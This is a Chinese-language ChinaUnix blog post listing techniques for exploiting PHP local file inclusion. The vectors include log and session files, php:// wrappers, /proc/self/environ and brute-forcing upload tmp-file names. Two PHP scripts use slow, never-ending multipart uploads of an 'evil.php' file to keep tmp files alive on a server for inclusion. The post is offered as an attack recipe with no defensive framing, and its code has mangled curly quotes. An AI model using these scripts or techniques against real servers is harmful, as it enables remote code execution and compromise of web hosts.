Chinaunix首页 | 论坛 | 博客
  • 博客访问: 526416
  • 博文数量: 33
  • 博客积分: 3755
  • 博客等级: 中校
  • 技术积分: 496
  • 用 户 组: 普通用户
  • 注册时间: 2009-11-24 23:24
文章存档

2012年(14)

2011年(11)

2010年(7)

2009年(1)

分类: 系统运维

2011-10-20 15:56:12

这篇文章总结得很全了,很有用:

1. 包含上传好的文件,jpg、txt、rar等允许的文件。

2. 包含各种日志。

3. 使用php wrapper,例如php://input、php://filter、data://等。

4. 包含 /proc/self/environ ,不熟悉linux,这个就靠大家了。

5. 包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。

6. 包含由php程序生成的文件,缓存、模版等。

7. 包含tmp文件,格式举例:/tmp/phpUs7MxA 和 c:/windows/temp/php3e.tmp。

(win下易暴力猜解,win下最长4个随机字符,linux下6个随机字符,charset is ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)

关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。

——————————————————————————————————————————————————————————————————————————–

测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除
(前提是php.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个):

/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);

$cmd = ‘Content-Disposition: form-data; name=”evil”; filename=”evil.php”
Content-Type: zzz


–k4shifz_boundary
‘;
$fs=fsockopen(‘localhost’,80);

/* you can also use HTTP/1.1 */
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999

–k4shifz_boundary
‘.$cmd);
while($fs)
{
fputs($fs,$cmd);
sleep(1);
}
fclose($fs);
exit;
?>

/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen(‘localhost’,80);
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999

–k4shifz_boundary
Content-Disposition: form-data; name=”evil”; filename=”evil.php”
Content-Type: zzz


–k4shifz_boundary–
‘);

while($fs)
{
fputs($fs,’AAAA’);
sleep(1);
}

fclose($fs);
exit;
?>

阅读(1368) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~